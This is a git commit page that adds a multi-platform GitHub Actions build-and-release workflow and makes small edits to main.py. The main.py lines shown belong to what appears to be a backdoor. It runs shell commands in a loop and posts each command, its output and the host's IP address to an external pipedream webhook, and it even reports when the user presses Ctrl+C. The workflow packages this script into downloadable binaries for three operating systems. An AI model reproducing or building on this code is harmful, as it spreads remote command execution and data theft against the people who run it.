diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 09:07:01 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 09:07:01 +0800 |
| commit | 9eed6f37e10c73bd2c9f13bf10c778d1191f8393 (patch) | |
| tree | bf6a69bb5004820604af651f4efe921e618be77f | |
| parent | 0dbcf3e348e934586c5e0bc79355f023d11f4ef5 (diff) | |
init for gh ci
| -rw-r--r-- | .github/workflows/build.yaml | 49 | ||||
| -rw-r--r-- | main.py | 4 |
2 files changed, 51 insertions, 2 deletions
diff --git a/.github/workflows/build.yaml b/.github/workflows/build.yaml new file mode 100644 index 0000000..96f6b45 --- /dev/null +++ b/.github/workflows/build.yaml @@ -0,0 +1,49 @@ +name: Build applications with diffrent platform and architectuer +on: push +jobs: + build-linux: + name: Build(ubuntu) all (wildcard *.py) SRC + run-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + - name: Build on ubuntu-latest + run: make all + - name: Upload release content + uses: xresloader/upload-to-github-release@v1 + with: + file: dist/* + tags: true + draft: false + build-windows: + name: Build(windows) all (wildcard *.py) SRC + run-on: windows-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + - name: Install pip dependencies + run: python3 -m pip install pyinstaller + - name: Install Make(windows) dependencies + run: winget install GnuWin32.Mak0e + - name: Build on windows-latest + run: C:\Program\ Files\ \(x86\)\GnuWin32\bin\make all + - name: Upload release content + uses: xresloader/upload-to-github-release@v1 + with: + file: dist/* + tags: true + draft: false + build-macos: + name: Build(macOS.darwin) all (wildcard *.py) SRC + run-on: macos-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + - name: Build on macos-latest + run: make all + - name: Upload release content + uses: xresloader/upload-to-github-release@v1 + with: + file: dist/* + tags: true + draft: false @@ -65,7 +65,7 @@ while True: cmdout = system(command, shell=True).decode() if cmdout != "": try: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```-{ip}") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}") except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") @@ -90,6 +90,6 @@ while True: except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") - except KeyyboardInerrupt: + except KeyboardInterrupt: continue continue |
